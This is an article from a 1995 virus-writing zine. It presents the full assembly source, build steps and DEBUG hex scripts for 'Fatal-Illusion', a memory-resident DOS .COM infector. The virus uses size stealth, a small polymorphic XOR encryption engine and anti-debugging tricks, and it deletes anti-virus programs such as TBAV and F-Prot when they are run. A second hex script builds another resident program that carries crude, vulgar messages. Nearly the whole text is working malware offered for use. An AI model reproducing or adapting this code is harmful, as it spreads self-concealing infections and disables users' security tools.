Insane Reality issue #7 - (c)opyright 1995 Immortal Riot File 021 % Fatal Illusion by Tornado % ----------------------------- What follow here is a contribution to our little zine from Tornado in Denmark. Fatal-Illusion is a resident infector of COM-programs executed. It has some stealth-capabilities (size-stealth), and is also a self-encrypted virus nearly the polymorphic way ;). There's a few more things to say about this virus, but I rather not since Tornado already listed them right below :). Quite funny indeed to see more and more viruswriter's popping up in Denmark ever since Darkman/Vlad started out! My best regards to that weird country whos inhabitants drink beer for breakfast and spacecake for lunch! (Hurray for ya!) There is by the way two hex-scripts below the source-code. Read the explaining text above the first one for further instructions. Thank you very much Tornado! - The Unforgiven. ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; ; Virus Name : Fatal-Illusion v. 1.00 ; Length : 946 bytes ; Author : TorNado ; Origion : Denmark 1995 ; ; Description : -- Resident .COM infector ; -> 4bh = execute ; -- Semi stealth ( no change in DIR / SEARCH ) ; -> 11h = find first FCB ; -> 12h = find next FCB ; -> 4eh = find first DTA ; -> 4fh = find next DTA ; -- Polymorphic encryption ( NaE ) ; -- INT24 ( Critical Error Handler ) ; -- Anti-Debugging ; -- Attack anti virus scanners on ( execution ) ; -> Tbav ; -> F-prot ; -> Mcafee ; -> Toolkit ; -- Payload when DIR / CHKDSK is made (3ch=filecreate) ; -> Drop BATCH file "echo > clock$" ; -- Saves original Time / Date ; -- Infect COMMAND.COM ; -- Remove VSAFE from memory ; ; To Compile : -- TASM /m2 fatill10.asm ; TLINK fatill10.obj ; EXE2BIN fatill10.exe fatill10.com ; ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; Greetings: Metabolis : Hey my good heste friend :) ; Qark : heya man! WinWord :) cool ; Darkman : Thanx dude! "NaE", friends forever :) ; Mmir : Nice talking to ya on IRC ; The Unforgiven : Get BaCk on IrC it's the right place ! ; Ace : Party GoD! u know what i think of U :) ; IR : Get bAck tO WorK the WoRlD NeEds U :) ; #virus : And all the ppls on IRC ; ; And least but not less a BIG yahoooo to the world! ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= fatill10 segment assume cs:fatill10,es:fatill10,ds:fatill10 org 00h start: xor ax,ax ; so we dont get caught as BURMA.1 mov ax,0fa01h ; Kick VSAFE mov dx,5945h int 16h call deltaOFF ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; Get delta offset! ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= deltaOFF: pop bp sub bp,offset deltaOFF anti_debug: int 03h mov word ptr ds:[bp+offset anti_debug],020cdh mov word ptr ds:[bp+offset anti_debug],0e83bh int 16h jmp short installation ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; This is the part that drops a small BATCH when ever a DIR / CHKDSK is made! ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= drop_program: push ax bx bp cx dx di si ds es call interrupt24 lea dx,[bp + offset filename] ; this creates our push ds ; little signature push cs pop ds mov ah,3ch mov cx,3 int 21h jc no_drop xchg ax,bx mov ah,40h mov cx,(drop_end - drop_start) lea dx,[bp + offset drop_start] int 21h mov ah,3eh int 21h no_drop: jmp exit_virus ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; Install virus in memory, use 8879h / FI later to check if resident ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= installation: mov ax,8879h int 21h cmp bx,'FI' ; FI returned in bx? je error_resident ; = assume resident cut_memory: mov ah,4ah ; find top of memory mov bx,0ffffh ; (65536) int 21h sub bx,((codeend-start+15)/16+268)*2+1 ; resize enough mov ah,4ah ; para's int 21h ; for virus mov ah,48h ; allocate for mov bx,((codeend-start+15)/16+268)*2 ; virus int 21h jc error_resident dec ax ; ax - 1 = mcb mov es,ax mov byte ptr es:[0],'Z' mov word ptr es:[1],8 ; dos = mcb owner inc ax cld lea si,[bp+offset start] ; vir start mov es,ax xor di,di mov cx,(codeend-start+4)/2 ; vir len rep movsw ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; Grab the int21h..... yahooo we are on our way! ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= hook_int21h: xor ax,ax mov ds,ax push ds lds ax,ds:[21h*4] mov word ptr es:[oldint21h],ax mov word ptr es:[oldint21h+2],ds pop ds mov word ptr ds:[21h*4],offset virusint21 mov bx,es mov ds:[21h*4+2],bx push cs pop ds error_resident: push cs pop es mov di,100h mov cx,4 lea si,[bp+offset orgbuf] ; fix correct offset (delta) repne movsb mov ax,101h dec ax ; entry point jmp ax ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; FI's new int21, check for execution, semi-stealth, and payload ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= virusint21 proc near xchg ax,bx ; xchg ax,bx -> beat Flag "L" cmp bx,4b00h ; Execute xchg ax,bx je jmpinfect cmp ah,11h ; FCB findfirst je FCB_stealth cmp ah,12h ; FCB findnext je FCB_stealth cmp ah,4eh ; DTA findfirst je DTA_stealth cmp ah,4fh ; DTA findnext je DTA_stealth cmp ah,36h ; Disk space! je payload_time cmp ax,8879h ; Check if resident jne function21 mov bx,'FI' ; if so, return FI so virus iret ; won't load resident twice+ virusint21 endp function21 proc near jmp dword ptr cs:[oldint21h] ret function21 endp jmpinfect: jmp infect payload_time: jmp drop_program ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; FCB stealth, means that u cant see any filesize change we a DIR is made ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= FCB_stealth: pushf push cs call function21 or al,al ;was the dir call sucessfull?? jnz skip_dir ;if not skip it push ax bx es mov ah,51h ; get current PSP to es:bx int 21h mov es,bx cmp bx,es:[16h] ;is the PSP ok?? jnz error_1 mov bx,dx mov al,[bx] ;al holds current drive push ax ;extended FCB mov ah,2fh ;get DTA-area int 21h pop ax inc al jnz no_ext add bx,7 no_ext: mov al,byte ptr es:[bx+17h] ;get seconds field and al,1fh xor al,01h ;is the file infected?? jnz error_1 ;if not don't hide size hide_it: sub word ptr es:[bx+1dh],(filepadding) ;else sub vir_size error_1: pop es bx ax skip_dir: retf 2 ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; DTA stealth means that no filesize change will be shown when SEARCH ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= DTA_stealth: pushf push cs call function21 jc eofs push ax es bx ;preserve registers mov ah,2fh ;get DTA-area int 21h mov ax,es:[bx+16h] and ax,1fh ;is the PSP ok?? xor al,01h jnz not_inf sub_it: sub word ptr es:[bx+1ah],(filepadding) ;sub vir_size not_inf: pop bx es ax eofs: retf 2 virusint24 proc near mov al,03h iret virusint24 endp jmpexit_virus: jmp exit_virus ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; Infection routine, check if AV-program, get int24h we dont like shitty msg! ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= infect: push ax bx bp cx dx di si ds es open_file: call interrupt24 call anti_virus mov ax,3d02h ; open file with read/write axs int 21h push ax jc jmpexit_virus ; if error jumpout pop ax xchg ax,bx mov ax,5700h int 21h mov cs:[save_time],cx mov cs:[save_date],dx push ds push cs pop ds push cs pop es mov ah,3fh ; read first four bytes mov dx,offset orgbuf ; to orgbuf mov cx,4 int 21h cmp byte ptr cs:[orgbuf],'M' ; check 1 byte je close_file cmp byte ptr cs:[orgbuf+3],'F' ; already infected? je exit_virus move_pointer: mov ax,4202h call file_pointer mov bp,ax sub ax,3 mov word ptr cs:[newbuf+1],ax ;************** Encrypt Write start ********************* xor ah,ah in al,40h ; AL = random number mov dl,(tableend-tablebegin) div dl xor ah,ah mov si,ax mov dl,[onebytes+si] ; DL = garbage instruction cld mov cx,(codeend-start) lea di,codeend push di xor si,si add bp,100h ; BP = decryptors offset call nae_crypt mov ah,40h mov cx,(filepadding) pop dx ; Load DX from stack int 21h ;************** Encrypt Write End ********************* mov ax,4200h call file_pointer mov ah,40h ; write new jump mov cx,4 mov dx,offset newbuf int 21h ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; Set stealth marker (0e0h), restore old time / date, and int24h ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= close_file: stealth_marker: mov ax,5701h mov dx,cs:[save_date] mov cx,cs:[save_time] and cl,0e0h ; stealth marker inc cl int 21h mov ah,3eh ; close file int 21h push ds pop ds mov ds,cs:[save_int24+2] mov dx,cs:[save_int24] mov ax,2524h int 21h ; restore the int 24h exit_virus: pop ds es ds si di dx cx bp bx ax jmp function21 file_pointer: cwd xor cx,cx int 21h ret ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; This is where we take over interrupt 24! ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= interrupt24: push ds push dx mov ax,3524h int 21h mov word ptr cs:[save_int24],bx mov word ptr cs:[save_int24+2],es push cs pop ds mov dx,offset virusint24 mov ax,2524h int 21h pop dx pop ds ret ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ;************************ Anti AV-program test ******************************* ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= anti_virus proc near push si cx mov si,dx mov al,'.' rep scasb loop_me: cmp byte ptr ds:[si],2eh ;Find ASCIIZ string je search_1 inc si loop loop_me search_1: cmp ds:[si-2],'NA' ; TBscan ! (tbav) jne search_2 ; Scan ! (mcafee) cmp ds:[si-4],'CS' je enemy_file search_2: cmp ds:[si-2],'DL' ; VShield ! (mcafee) jne search_3 cmp ds:[si-4],'EI' je enemy_file search_3: cmp ds:[si-2],'TO' ; F-prot ! jne search_4 cmp ds:[si-4],'RP' je enemy_file search_4: cmp ds:[si-2],'PO' ; Virstop ! (f-prot) jne search_5 cmp ds:[si-4],'TS' je enemy_file search_5: cmp ds:[si-2],'VA' ; TBAV ! jne search_6 cmp ds:[si-4],'BT' je enemy_file search_6: cmp ds:[si-2],'TI' ; Toolkit ! (Dr. solomon) jne search_7 cmp ds:[si-4],'KL' je enemy_file search_7: cmp ds:[si-2],'UR' ; Findviru ! (toolkit) jne nothing_forme cmp ds:[si-4],'IV' je enemy_file ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= ; If NOT AV then just continue as normal, but if AV then DELETE the sucker! ;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*= nothing_forme: pop cx pop si ; good file set CARRY FLAG clc ; to normal retn enemy_file: mov ax,4301h ; Clear attributes xor cx,cx int 21h pop cx pop si mov ah,41h ; Delete ! int 21h jmp function21 retn anti_virus endp logo db "[ Fatal-Illusion (c) made by TorNado in Denmark '95 ]" save_time dw 0 save_date dw 0 filepadding equ (codeend - start)+268 save_int24 dw 2 dup (?) oldint21h dd ? orgbuf db 0cdh,20h,00,00 ; place to save first 4 bytes newbuf db 0e9h,00,00,'F' ; work on new Entry Point drop_start: evil db 'echo > clock$',0 drop_end: filename db 'fatill10.bat',0 tablebegin: onebytes db 27h,2fh,37h,3fh,40h ; One byte object codes db 41h,42h,43h,45h,46h db 47h,48h,49h,4ah,4bh db 4dh,4eh,4fh,90h,91h db 92h,93h,95h,96h,97h db 98h,99h,9eh,9fh db 0a6h,0ach,0adh,0aeh db 0cch,0d7h,0edh,0f5h db 0f8h,0f9h,0fbh,0fch db 0fdh tableend: include nae.asm ; Include Nearly an Engine codeend: fatill10 ends end start ;================================================================== ============= ; [* NEARLY AN ENGINE *] ; Calling parameters: ; DL One byte garbage instruction ; CX Length of original code ; BP Decryptors offset ; DS:SI Pointer to original code ; ES:DI Pointer to decryptor + encrypted code ; Return parameters: ; CX Length of decryptor + encrypted code ; AX, DX, SI, DI and the flags are destroyed. ; The size of the decryptor will range from 13 ; to 268 bytes. The decryption algorithm is a ; 8-bit exclusive OR (XOR) with a random ; decryption value. ; The size of NaE is 66 bytes (excl. ' [NaE] '). nae_begin equ $ ; Begining of Nearly an Engine nae_crypt proc near ; Nearly an Engine push cx ; Save CX at stack push si ; Save SI at stack push cx ; Save CX at stack push cx ; Save CX at stack xor ax,ax ; Clear AX in al,40h ; AL = random number push ax ; Save AX at stack xchg ax,cx ; Exchange AX with CX mov al,dl ; AL = garbage instruction rep stosb ; Generate garbage instructions pop ax ; Load AX from stack add ax,(decryptorend-decryptor) mov dx,ax ; DX = size of garbage + decryptor add ax,bp ; Add decryptor's offset to AX mov word ptr decryptor+01h,ax pop ax ; Load AX from stack (CX) mov word ptr decryptor+04h,ax in al,40h ; AL = random number mov byte ptr decrypt+03h,al mov cl,(decryptorend-decryptor) lea si,decryptor ; SI = offset of decryptor rep movsb ; Move the decryptor pop cx ; Load CX from stack pop si ; Load SI from stack push di ; Save DI at stack rep movsb ; Move plain code after the decryptor pop di ; Load DI from stack jmp encrypt decryptor: mov di,0000h ; DI = offset of encrypted code encrypt: mov cx,0000h ; CX = length of encrypted code decrypt: xor byte ptr cs:[di],00h inc di ; Increase DI loop decrypt decryptorend: pop cx ; Load CX from stack add cx,dx ; CX = length of decryptor etc. ret ; Return! endp enginename db ' [NaE] ' ; Name of the engine nae_end equ $ ; End of Nearly an Engine nae_size equ $-nae_begin ; Size of Nearly an Engine ================================================================== ============== ; Here is the original (first generation) virus script of Fatal ; Illusion. The next hex-script ('failure.com') being a file ; this virus will fail infecting (No, 4thChar isn't 'F' I inserted ; a NOP as 4th char to prevent that!), Sorry Tornado :). It was ; just a coincidence, of sorts ;).. ================================================================== ============== N fatal.com E 100 33 C0 B8 01 FA BA 45 59 CD 16 E8 00 00 5D 81 ED E 110 0D 00 CC 3E C7 86 12 00 CD 20 3E C7 86 12 00 3B E 120 E8 CD 16 EB 2F 50 53 55 51 52 57 56 1E 06 E8 05 E 130 02 8D 96 32 03 1E 0E 1F B4 3C B9 03 00 CD 21 72 E 140 10 93 B4 40 B9 0E 00 8D 96 24 03 CD 21 B4 3E CD E 150 21 E9 CF 01 B8 79 88 CD 21 81 FB 49 46 74 58 B4 E 160 4A BB FF FF CD 21 81 EB 91 02 B4 4A CD 21 B4 48 E 170 BB 90 02 CD 21 72 40 48 8E C0 26 C6 06 00 00 5A E 180 26 C7 06 01 00 08 00 40 FC 8D B6 00 00 8E C0 33 E 190 FF B9 DB 01 F3 A5 33 C0 8E D8 1E C5 06 84 00 26 E 1a0 A3 18 03 26 8C 1E 1A 03 1F C7 06 84 00 CB 00 8C E 1b0 C3 89 1E 86 00 0E 1F 0E 07 BF 00 01 B9 04 00 8D E 1c0 B6 1C 03 F2 A4 B8 01 01 48 FF E0 93 81 FB 00 4B E 1d0 93 74 28 80 FC 11 74 28 80 FC 12 74 23 80 FC 4E E 1e0 74 5E 80 FC 4F 74 59 80 FC 36 74 11 3D 79 88 75 E 1f0 04 BB 49 46 CF 2E FF 2E 18 03 C3 EB 6E E9 25 FF E 200 9C 0E E8 F0 FF 0A C0 75 34 50 53 06 B4 51 CD 21 E 210 8E C3 26 3B 1E 16 00 75 21 8B DA 8A 07 50 B4 2F E 220 CD 21 58 FE C0 75 03 83 C3 07 26 8A 47 17 24 1F E 230 34 01 75 06 26 81 6F 1D C1 04 07 5B 58 CA 02 00 E 240 9C 0E E8 B0 FF 72 1B 50 06 53 B4 2F CD 21 26 8B E 250 47 16 25 1F 00 34 01 75 06 26 81 6F 1A C1 04 5B E 260 07 58 CA 02 00 B0 03 CF E9 B8 00 50 53 55 51 52 E 270 57 56 1E 06 E8 BF 00 E8 DA 00 B8 02 3D CD 21 50 E 280 72 E6 58 93 B8 00 57 CD 21 2E 89 0E 10 03 2E 89 E 290 16 12 03 1E 0E 1F 0E 07 B4 3F BA 1C 03 B9 04 00 E 2a0 CD 21 2E 80 3E 1C 03 4D 74 50 2E 80 3E 1F 03 46 E 2b0 74 71 B8 02 42 E8 78 00 8B E8 2D 03 00 2E A3 21 E 2c0 03 32 E4 E4 40 B2 2A F6 F2 32 E4 8B F0 8A 94 3F E 2d0 03 FC B9 B2 03 BF B2 03 57 33 F6 81 C5 00 01 E8 E 2e0 87 01 B4 40 B9 C1 04 5A CD 21 B8 00 42 E8 40 00 E 2f0 B4 40 B9 04 00 BA 20 03 CD 21 B8 01 57 2E 8B 16 E 300 12 03 2E 8B 0E 10 03 80 E1 E0 FE C1 CD 21 B4 3E E 310 CD 21 1E 1F 2E 8E 1E 16 03 2E 8B 16 14 03 B8 24 E 320 25 CD 21 1F 07 1F 5E 5F 5A 59 5D 5B 58 E9 C5 FE E 330 99 33 C9 CD 21 C3 1E 52 B8 24 35 CD 21 2E 89 1E E 340 14 03 2E 8C 06 16 03 0E 1F BA 65 01 B8 24 25 CD E 350 21 5A 1F C3 56 51 8B F2 B0 2E F3 AE 80 3C 2E 74 E 360 03 46 E2 F8 81 7C FE 41 4E 75 07 81 7C FC 53 43 E 370 74 58 81 7C FE 4C 44 75 07 81 7C FC 49 45 74 4A E 380 81 7C FE 4F 54 75 07 81 7C FC 50 52 74 3C 81 7C E 390 FE 4F 50 75 07 81 7C FC 53 54 74 2E 81 7C FE 41 E 3a0 56 75 07 81 7C FC 54 42 74 20 81 7C FE 49 54 75 E 3b0 07 81 7C FC 4C 4B 74 12 81 7C FE 52 55 75 07 81 E 3c0 7C FC 56 49 74 04 59 5E F8 C3 B8 01 43 33 C9 CD E 3d0 21 59 5E B4 41 CD 21 E9 1B FE C3 5B 20 46 61 74 E 3e0 61 6C 2D 49 6C 6C 75 73 69 6F 6E 20 28 63 29 20 E 3f0 6D 61 64 65 20 62 79 20 54 6F 72 4E 61 64 6F 20 E 400 69 6E 20 44 65 6E 6D 61 72 6B 20 27 39 35 20 5D E 410 00 00 00 00 00 00 00 00 00 00 00 00 CD 20 00 00 E 420 E9 00 00 46 65 63 68 6F 20 3E 20 63 6C 6F 63 6B E 430 24 00 66 61 74 69 6C 6C 31 30 2E 62 61 74 00 27 E 440 2F 37 3F 40 41 42 43 45 46 47 48 49 4A 4B 4D 4E E 450 4F 90 91 92 93 95 96 97 98 99 9E 9F A6 AC AD AE E 460 CC D7 ED F5 F8 F9 FB FC FD 51 56 51 51 33 C0 E4 E 470 40 50 91 8A C2 F3 AA 58 05 0D 00 8B D0 03 C5 A3 E 480 9B 03 58 A3 9E 03 E4 40 A2 A3 03 B1 0D BE 9A 03 E 490 F3 A4 59 5E 57 F3 A4 5F EB 03 BF 00 00 B9 00 00 E 4a0 2E 80 35 00 47 E2 F9 59 03 CA C3 20 5B 4E 61 45 E 4b0 5D 20 RCX 3b2 W Q ================================================================== ============= ; "Where Fatal Illusion fails, this does the advertising!" ; (* or to put it in another way *) ; " Fuck-off TU, is this what I get for contributing? " ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 컴컴컴� N failure.com E 100 E9 89 00 90 46 61 74 61 6C 20 49 6C 6C 75 73 69 E 110 6F 6E 20 28 4A 75 73 74 20 4E 61 69 6C 20 27 65 E 120 6D 20 75 70 21 29 20 44 72 6F 70 70 65 72 2C 0D E 130 0A 6D 61 64 65 20 62 79 20 74 68 65 20 49 6D 6D E 140 6F 72 74 61 6C 20 52 69 6F 74 20 41 6E 61 72 63 E 150 68 69 73 74 73 20 2D 20 31 39 39 35 0D 0A C4 C4 E 160 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 5B 49 52 E 170 41 20 42 57 41 52 45 21 5D C4 C4 C4 C4 C4 C4 C4 E 180 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 24 B4 2C CD 21 E 190 0A D2 75 0D B9 A5 00 BE AD 02 AC CD 29 E2 FB CD E 1a0 20 B4 09 BA 04 01 CD 21 B4 4A BB FF FF B9 66 06 E 1b0 CD 21 3B C1 74 49 B4 4A 83 EB 2D CD 21 B4 48 BB E 1c0 2C 00 CD 21 BF 00 01 2D 10 00 8E C0 B9 52 02 F3 E 1d0 A4 06 1F FE 06 F1 00 B8 08 35 CD 21 89 1E 6C 02 E 1e0 8C 06 6E 02 B4 25 BA 00 02 CD 21 B8 21 35 CD 21 E 1f0 89 1E A9 02 8C 06 AB 02 B4 25 BA 95 02 CD 21 C3 E 200 9C 50 51 52 56 57 1E 06 33 C0 8E D8 A0 6C 04 3C E 210 14 77 50 FC B8 00 B8 8E D8 0E 07 BE A8 02 BF 52 E 220 03 B9 25 00 F3 A5 BA DA 03 EC A8 08 75 FB EC A8 E 230 08 74 FB B9 25 00 BE 70 02 BF A8 02 1E 06 1F 07 E 240 A4 47 E2 FC EC A8 08 75 FB B9 50 00 EC A8 01 74 E 250 FB EC A8 01 75 FB E2 F4 B9 25 00 BF A8 02 BE 52 E 260 03 F3 A5 07 1F 5F 5E 5A 59 58 9D EA 00 00 00 00 E 270 5B 20 4B 49 4C 4C 20 27 45 4D 20 41 4C 4C 20 21 E 280 20 5D 20 5B 20 4B 49 4C 4C 20 27 45 4D 20 41 4C E 290 4C 20 21 20 5D 80 FC 4A 75 0E 83 FB FF 75 09 81 E 2a0 F9 66 06 75 03 8B C1 CF EA 00 00 00 00 57 68 65 E 2b0 6E 20 74 65 6E 20 72 65 64 2D 72 6F 73 65 73 20 E 2c0 77 6F 6E 27 74 20 68 65 6C 70 2E 2E 2E 2E 2E 2E E 2d0 2E 20 69 6E 64 65 65 64 20 74 68 65 72 65 20 61 E 2e0 72 65 20 0D 0A 73 74 72 69 6E 67 73 20 61 74 74 E 2f0 61 63 68 65 64 2E 2E 20 73 74 75 70 69 64 20 67 E 300 6F 6F 66 79 2D 62 69 74 63 68 79 2D 45 6D 6D 61 E 310 21 21 21 21 0D 0A 57 68 79 20 77 6F 6E 27 74 20 E 320 79 6F 75 20 6A 75 73 74 20 6C 65 74 20 6D 65 20 E 330 66 75 63 6B 20 79 6F 75 3F 20 0D 0A 2A 2A 2A 20 E 340 5B 20 54 55 20 2F 20 49 52 20 5D 20 2A 2A 2A 0D E 350 0A 00 RCX 252 W Q